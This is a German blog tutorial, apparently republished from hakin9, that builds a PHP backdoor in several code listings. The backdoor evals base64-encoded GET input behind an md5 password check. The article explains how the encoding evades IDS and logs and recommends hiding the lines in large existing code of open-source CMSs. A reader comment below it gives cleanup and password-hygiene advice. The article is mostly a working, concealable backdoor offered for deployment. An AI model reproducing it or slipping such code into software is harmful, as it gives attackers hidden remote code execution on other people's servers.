$>
you're reading...
Tutorial

PHP Trojaner Gefahren für Opensource


The PHP logo displaying the Handel Gothic font.

Image via Wikipedia

PHP Trojaner sind längst nicht mehr neu und trotzdem noch relativ unbekannt. Nichts desto trotz sind sie mehr als nur effektiv und können im Idealfall mit 3 zusätzlichen Codezeilen in einer Applikation immer und von überall einem Angreifer Vollzugriff erlauben.

Dabei nutzen PHP Trojaner den Vorteil, dass sich nicht nur das soziale Leben, die Kommunikation oder andere Freuden des alltäglichen Lebens, sondern auch wichtige und businesskritische Applikationen je länger je mehr von der lokalen Festplatte eines jeden Computers in Form von Webapplikationen in die Weiten des Internets  verlagern.

Und da eine Webapplikation problemlos aus mehreren tausend Zeilen Code bestehen kann, fallen zwei bis drei zusätzliche, möglicherweise schädliche Zeilen nicht auf. Wird eine Software dann, wie bei z.B. bei grösseren Opensource-Projekten üblich, noch von mehreren Entwicklern mit unterschiedlichen Absichten und Zielen gleichzeitig betreut, so steigt die Chance von Schadcode im Quelltext mit jedem Mitentwickler, während die Chance einer Entdeckung mit weiteren Zeile immer kleiner wird. Und wenn man als normaler User eine Webapplikation für seinen Webserver aus dem Internet herunterlädt, so kann man sowieso nur schwer die Nadel im Heuhaufen finden!

Wenn es nun also ein PHP Trojaner in ein renoviertes und etabliertes Projekt wie WordPress, Drupal oder Typo3 schafft, so kann sich eine unbekannte Person zu tausenden und abertausende Webapplikationen unautorisierten Zugriff verschaffen. Und dies sind neben Webseiten und Blogs von Privatpersonen, auch viele Internetauftritte und Verwaltungssysteme von renommierten Unternehmungen und Behörden!

Wie schon angesprochen, ein PHP Trojaner muss nicht größer sein, als zwei bis drei Zeilen, kann aber im Idealfall als Backdoor immer und überall Zugriff auf die gesamte Applikation oder aber auf den gesamten Server ermöglichen! Wie ein solcher Trojaner möglicherweise aussehen könnte, das werden wir in den folgenden Schritten zusammen erarbeiten. Als erstes müssen wir uns überlegen, was unser Trojaner schlussendlich mal für einen Zweck erfüllen soll.  Ich habe mich darauf festgelegt, beliebigen PHP-Code ausführen zu können, wodurch wir die auf dem Server gehostete Applikation kontrollieren, oder aber auch Befehle für die Kommandozeile direkt auf den Server loslassen können.

Für das Ausführen von PHP-Code empfiehlt sich natürlich die Funktion eval(). Jedoch sollte man hier bedenken, dass die eval-Funktion sehr bekannt für ihr Sicherheitsrisiko ist. Dies erhöht das Risiko entdeckt zu werden natürlich  immens, wodurch man sich auch Gedanken über Alternativen machen sollte, je nachdem in was für einer Applikation der Trojaner später eingesetzt werden soll. Eine mögliche Alternative wäre zum Beispiel auch noch die include-Funktion, welche aber auf Grund gut durchdachter php.ini-Einstellung nur in den wenigsten Fällen die Ausführung von externen PHP-Skripten erlaubt, wodurch unser Trojaner natürlich komplett ausgehebelt werden würde.

PHP Trojaner Gefahren für Opensource PHP Trojaner sind längst nicht mehr neu und trotzdem noch relativ unbekannt. Nichts desto trotz sind sie mehr als nur effektiv und können im Idealfall mit 3 zusätzlichen Codezeilen in einer Applikation immer und von überall einem Angreifer Vollzugriff erlauben. Die eval-Funktion ist also geradezu ideal für unsere Bedürfnisse, da sich damit eine beliebige Zeichenfolge als PHP-Code ausführen lässt. Beginnen wir also mit den ersten Zeilen Code (Listing 1).

Natürlich würde der Trojaner in dieser Form noch sehr wenig Sinn machen, da er überhaupt nicht dynamisch ist, wenn der Befehl hart einprogrammiert wird. Um das ganze variabler zu gestalten, rufen wir unseren PHP-Code bei Bedarf via GET-Variable ab. (Listing 2). Somit wird nun alles, was über die GET-Variable eval übermittelt wird, direkt als PHP-Befehl ausgeführt. Um auch etwas Code an den Trojaner zu übermitteln, muss man die Datei richtig aufrufen (Listing 3).

Nun wollen wir aber nicht, dass unsere PHP-Befehle direkt im Klartext übermittelt werden, da viele Webapplikationen heutzutage durch vorgeschaltete IDS oder andere Sicherheitsmechanismen zusätzlich geschützt werden. Weiter wollen wir nicht, dass unsere Befehle direkt in den Logdateien auftauchen um eine mögliche Entdeckung  zu erschweren. Deshalb wird unsere Eingabe noch extra kodiert vor dem Übermitteln.

Listing 1. Grundfunktion

<?php
Eval(„echo „HELLO WORLD“);
?>

Listing 2. dynamische Befehle

<?php
eval ($_GET[‘eval’]);
?>

Listing 3. phpinfo aufrufen

http://encodingit.ch/index.php?eval=phpinfo();

Listing 4. Verschlüsselte Eingabe

<?php
eval (base64_decode($_GET[‘eval’]));
?>

Listing 5. Verschlüsseltes Aufrufen

http://encodingit.ch/index.php?eval=cGhwaW5mbygpOw==

Listing 6. finale Funktion

<?php
if (md5($_GET[‘key’]) ==
“81dc9bdb52d04dc20036dbd8313ed055”)
eval (base64_decode($_GET[‘eval’]));
?>

Ich habe mich dabei für eine Base64-Kodierung entschieden, da diese von den meisten Webservern direkt unterstützt wird (Listing 4). Nun können wir unsere PHP-Befehle zuerst mit Base64 kodieren und dann so wie gewohnt übertragen (Listing 5). Damit wäre unser Trojaners theoretisch fertig und bereit für den Einsatz.

Nun wollen wir natürlich nicht, dass jede beliebige Person unseren Trojaner verwenden und für die eigenen Zwecke  missbrauchen kann, also bauen wir zusätzlich noch eine Sicherung oder Authentifizierung ein. Dazu werden wir die md5-Funktion verwenden, damit wir nicht unsere Passphrase lesbar in den Code integrieren müssen. Also passen wir unseren Code nun noch ein letztes Mal an (Listing 6). Somit wäre unser PHP-Trojaner fertig und kann eingesetzt werden.

Natürlich hätte man nun noch die Möglichkeit, den Trojaner selbst z.B. mittels Java zu verschlüsseln und unkenntlicher zu machen, jedoch jede Veränderung, die sich von normalem PHP-Code visuell unterscheidet, ist schlecht, da sie aus dem Code heraussticht und somit viel schneller auffällt. Um unseren finalen Trojaner nun zu verwenden, wird er immer noch gleich aufgerufen, zum Beispiel wenn phpinfo() ausgegeben werden soll:

http://encodingit.ch/index.php?key=1234&eval=cGhwaW5mbygpOw==

Somit hätten wir mit gerade einmal 4 Zeilen einen Trojaner geschrieben, welcher uns, und nur uns, erlaubt, von überall her jeden beliebigen PHP-Code auszuführen, ganz wie es uns beliebt. Natürlich ist es empfehlenswert den Trojaner nicht in einer eigenen Datei auf einem Webserver einzuschleusen, sondern wie am Anfang des Artikels schon angesprochen, diesen an einem langen, bereits bestehenden Code anzuhängen, wo er weniger auffällt.

Die möglichen Einsatzgebiete sind dabei nur durch die eigene Phantasie begrenzt. So kann er in jeder Webapplikation, CMS, Webseite und anderen Projekten auf Basis von PHP verwendet werden und einem Angreifer jederzeit und von überall Vollzugriff ermöglichen.

PATRICK SCHMID
Der Autor ist System Engineer im Bereich Linux / Unix und unterstützt nebenbei die Entwicklung und Verbreitung von Linux und Opensource im privaten, wie auch im professionellen Umfeld.
Kontakt mit dem Autor unter patrick.schmid@encodingit.ch

Hakin9 Redaktion

sem

Creative Commons Lizenzvertrag
Diese(s) Werk bzw. Inhalt von sem steht unter einer Creative Commons Namensnennung-Weitergabe unter gleichen Bedingungen 3.0 Unported Lizenz.
Beruht auf einem Inhalt unter hakin9.org.

Diskussionen

Ein Gedanke zu “PHP Trojaner Gefahren für Opensource

  1. Lösung zum Thema „PHP Trojaner“, „Filezilla Hack“, „Trojan.PHP-43“, „base64 eval hack“, „script code injection“ …

    Da ich bei mehreren Kollegen, Kunden und sonstigen Webmastern bereits einige Website Infektionen entfernt hatte, Serverlogs geprüft hab und viel zu dem Thema Recherchiert habe anbei einige sehr wichtige und Hilfreiche Tipps für die Ursachen der Script Infektionen / PHP Trojaner bzw. dem Filezilla Sicherheitsproblem (Filezilla Sicherheitslücke) …

    Folgende Ursachen sind bei Infektion durch PHP Trojaner möglich:
    1. alte Script Versionen wegen Sicherheitslücken
    2. Plugins und Addons welche bereits infiziert sind, unseriöse Quellen
    3. chmod 0777 Schreibrechte bzw. FTP Server Dateirechte
    4. hinterlegte FTP Daten in Scripts
    5. Filezilla Ftp Client (speichert Passwörter unverschlüsselt, wird oft durch Trojaner befallen und hinterher alle Websites / Server mit Malware, Trojanern, Spam, Viren infiziert)

    Folgende Lösungen / Lösungsvorschläge sind angebracht:
    a) alle dateien vom server runterladen und hinterher auf fremdcode prüfen und via virenscanner prüfen (mit mehreren am besten – nod32 von eset ist sehr gut oder clam antivirus welches auch windows server 2003 kompatibel ist) – vor allem mit einem guten anti malware tool z.b. emsisoft emergency kit ebenfalls prüfen. WICHTIG ist vorher die dateien vom server runterzuladen weil die dateien auf dem server infiziert sind UND NICHT die dateien lokal auf ihrem pc !
    b) ursache finden z.b. durch Server Logs oder Indizien bezüglich der Infizierten Dateien, dateien bereinigen, neue scriptversionen, neue plugin versionen, filezilla austauschen bzw. komplett löschen inkl. der gespeicherten ftp passwörter, dateirechte chmod auf dem server prüfen
    c) ihren computer bzw. pc vollständig auf viren und malware prüfen !!! anschließend wenn alles ok ist:

    1. FTP Passwort ändern !
    2. ggf. eMail Passwort / SMTP Passwort ändern – wegen möglichem Spam Versand von einigen Trojanern bzw. Malware Viren !
    3. nur noch sichere FTP Programme / Ftp clients nutzen !

    ebenfalls wichtig ist ein sicherer browser …

    weitere Informationen siehe: http://www.gratis-leben.de/index.php…20(Sicherheit)

    dort ist eine ausführliche zusammenfassung mit infos und tipps um bei website infektionen die ursachen zu finden bzw. diverse lösungsvorschläge zum bereinigen von infizierten websites …

    PS: gibt immernoch leute die der meinung sind „ich habe linux, linux ist virensicher“ … oder „mac ist virensicher“ … da sag ich schon nix mehr zu *looool* gibt ja auch leute die glauben dass die erde ne scheibe ist ^^

    fakt ist: filezilla speichert die ftp passwörter „unverschlüsselt“ … das tut filezilla unter windows genauso wie unter linux … und … linux ist NICHT virensicher und nicht virenfrei … für linux gibts nur weniger viren weil kein hacker so dämlich ist für ein betriebssystem viren zu schreiben was kaum im commerziellen bereich genutzt wird … aber fakt ist „es gibt linux / unix viren“ .. genug um auch unter linux die filezilla ftp serverdaten und ftp passwörter ALLE auszulesen ohne dass ein linux / unix administrator dies bemerkt …

    lg benjamin bode

    Verfasst von Web- und PC Service Benjamin Bode | August 22, 2012, 8:55 pm

Schreibe einen Kommentar

Trage deine Daten unten ein oder klicke ein Icon um dich einzuloggen:

WordPress.com-Logo

Du kommentierst mit Deinem WordPress.com-Konto. Abmelden / Ändern )

Twitter-Bild

Du kommentierst mit Deinem Twitter-Konto. Abmelden / Ändern )

Facebook-Foto

Du kommentierst mit Deinem Facebook-Konto. Abmelden / Ändern )

Google+ Foto

Du kommentierst mit Deinem Google+-Konto. Abmelden / Ändern )

Verbinde mit %s

Member of The Internet Defense League

Kalender

Februar 2011
M D M D F S S
« Jan   Mrz »
 123456
78910111213
14151617181920
21222324252627
28  

Kategorien

Archiv

Legal Guide For Bloggers

Bloggers' Rights at EFF

Interessantes

Link Anonymizer

Independent Tests of Antiv-Virus Software

BSD Aktuell

Hacker News

Blog Stats

  • 260,139 hits

Haftungsausschluss

disclaimer

%d Bloggern gefällt das: